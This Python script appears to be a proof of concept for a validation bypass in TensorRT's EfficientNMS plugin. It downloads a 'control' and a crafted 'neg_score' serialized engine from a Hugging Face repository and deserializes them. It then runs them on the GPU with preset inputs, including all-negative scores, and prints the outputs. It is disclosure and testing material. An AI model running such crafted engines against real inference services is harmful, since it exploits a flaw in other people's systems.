#!/usr/bin/env python3
from __future__ import annotations

import ctypes
import hashlib
import json
import shutil
import tempfile
import urllib.request
from pathlib import Path

import tensorrt as trt


BASE = "https://huggingface.co/hacnho/tensorrt-efficientnms-validation-bypass-poc/resolve/main"
FILES = {
    "control": "control.engine",
    "neg_score": "neg_score.engine",
}


def sha256_file(path: Path) -> str:
    h = hashlib.sha256()
    with path.open("rb") as f:
        while True:
            chunk = f.read(1024 * 1024)
            if not chunk:
                break
            h.update(chunk)
    return h.hexdigest()


def load_cudart():
    cudart = ctypes.CDLL("libcudart.so")
    cuda_malloc = cudart.cudaMalloc
    cuda_malloc.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.c_size_t]
    cuda_malloc.restype = ctypes.c_int
    cuda_free = cudart.cudaFree
    cuda_free.argtypes = [ctypes.c_void_p]
    cuda_free.restype = ctypes.c_int
    cuda_memcpy = cudart.cudaMemcpy
    cuda_memcpy.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
    cuda_memcpy.restype = ctypes.c_int
    cuda_memset = cudart.cudaMemset
    cuda_memset.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_size_t]
    cuda_memset.restype = ctypes.c_int
    return {
        "malloc": cuda_malloc,
        "free": cuda_free,
        "memcpy": cuda_memcpy,
        "memset": cuda_memset,
        "h2d": 1,
        "d2h": 2,
    }


def upload_floats(cuda: dict, ptr: ctypes.c_void_p, values: list[float]) -> None:
    arr = (ctypes.c_float * len(values))(*values)
    rc = cuda["memcpy"](ptr, ctypes.cast(arr, ctypes.c_void_p), ctypes.sizeof(arr), cuda["h2d"])
    if rc != 0:
        raise RuntimeError(f"cudaMemcpy H2D failed rc={rc}")


def presets():
    return {
        "all_zero": {
            "boxes": [0.0] * 16,
            "scores": [0.0] * 4,
            "anchors": [0.0] * 16,
        },
        "one_high_score": {
            "boxes": [0.0] * 16,
            "scores": [0.9, 0.0, 0.0, 0.0],
            "anchors": [0.0] * 16,
        },
        "mixed_scores": {
            "boxes": [0.0] * 16,
            "scores": [0.6, 0.4, 0.2, -0.1],
            "anchors": [0.0] * 16,
        },
        "all_negative": {
            "boxes": [0.0] * 16,
            "scores": [-0.2, -0.2, -0.2, -0.2],
            "anchors": [0.0] * 16,
        },
    }


def run_engine(engine_path: Path) -> dict[str, object]:
    cuda = load_cudart()
    logger = trt.Logger(trt.Logger.ERROR)
    trt.init_libnvinfer_plugins(logger, "")
    runtime = trt.Runtime(logger)
    blob = engine_path.read_bytes()
    engine = runtime.deserialize_cuda_engine(blob)

    result: dict[str, object] = {
        "engine_path": str(engine_path),
        "engine_sha256": sha256_file(engine_path),
        "presets": {},
    }

    for preset_name, preset in presets().items():
        ctx = engine.create_execution_context()
        ptrs: dict[str, tuple[ctypes.c_void_p, int, str]] = {}
        try:
            for i in range(engine.num_io_tensors):
                tensor_name = engine.get_tensor_name(i)
                shape = engine.get_tensor_shape(tensor_name)
                count = 1
                for dim in shape:
                    count *= dim
                dtype = str(engine.get_tensor_dtype(tensor_name))
                nbytes = count * 4
                ptr = ctypes.c_void_p()
                assert cuda["malloc"](ctypes.byref(ptr), nbytes) == 0
                assert cuda["memset"](ptr, 0, nbytes) == 0
                assert ctx.set_tensor_address(tensor_name, ptr.value)
                ptrs[tensor_name] = (ptr, nbytes, dtype)
                if tensor_name in preset:
                    upload_floats(cuda, ptr, preset[tensor_name])

            infer = ctx.infer_shapes()
            exec_ok = ctx.execute_async_v3(0)
            outputs = {}
            for i in range(engine.num_io_tensors):
                tensor_name = engine.get_tensor_name(i)
                if "OUTPUT" not in str(engine.get_tensor_mode(tensor_name)):
                    continue
                ptr, nbytes, dtype = ptrs[tensor_name]
                if "INT32" in dtype:
                    host = (ctypes.c_int32 * min(max(nbytes // 4, 1), 8))()
                    rc = cuda["memcpy"](ctypes.byref(host), ptr, min(nbytes, 32), cuda["d2h"])
                    outputs[tensor_name] = {"copy_rc": rc, "values": list(host)}
                else:
                    host = (ctypes.c_float * min(max(nbytes // 4, 1), 8))()
                    rc = cuda["memcpy"](ctypes.byref(host), ptr, min(nbytes, 32), cuda["d2h"])
                    outputs[tensor_name] = {"copy_rc": rc, "values": [float(x) for x in host]}
            result["presets"][preset_name] = {
                "infer_shapes": infer,
                "execute_ok": exec_ok,
                "outputs": outputs,
            }
        finally:
            for ptr, _, _ in ptrs.values():
                if ptr.value:
                    cuda["free"](ptr)
    return result


def main() -> int:
    td = Path(tempfile.mkdtemp(prefix="trt_efficientnms_remote_"))
    try:
        local = {}
        for label, name in FILES.items():
            dst = td / name
            urllib.request.urlretrieve(f"{BASE}/{name}", dst)
            local[label] = dst

        payload = {
            "control": run_engine(local["control"]),
            "neg_score": run_engine(local["neg_score"]),
        }
        print(json.dumps(payload, indent=2, ensure_ascii=False))
    finally:
        shutil.rmtree(td, ignore_errors=True)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())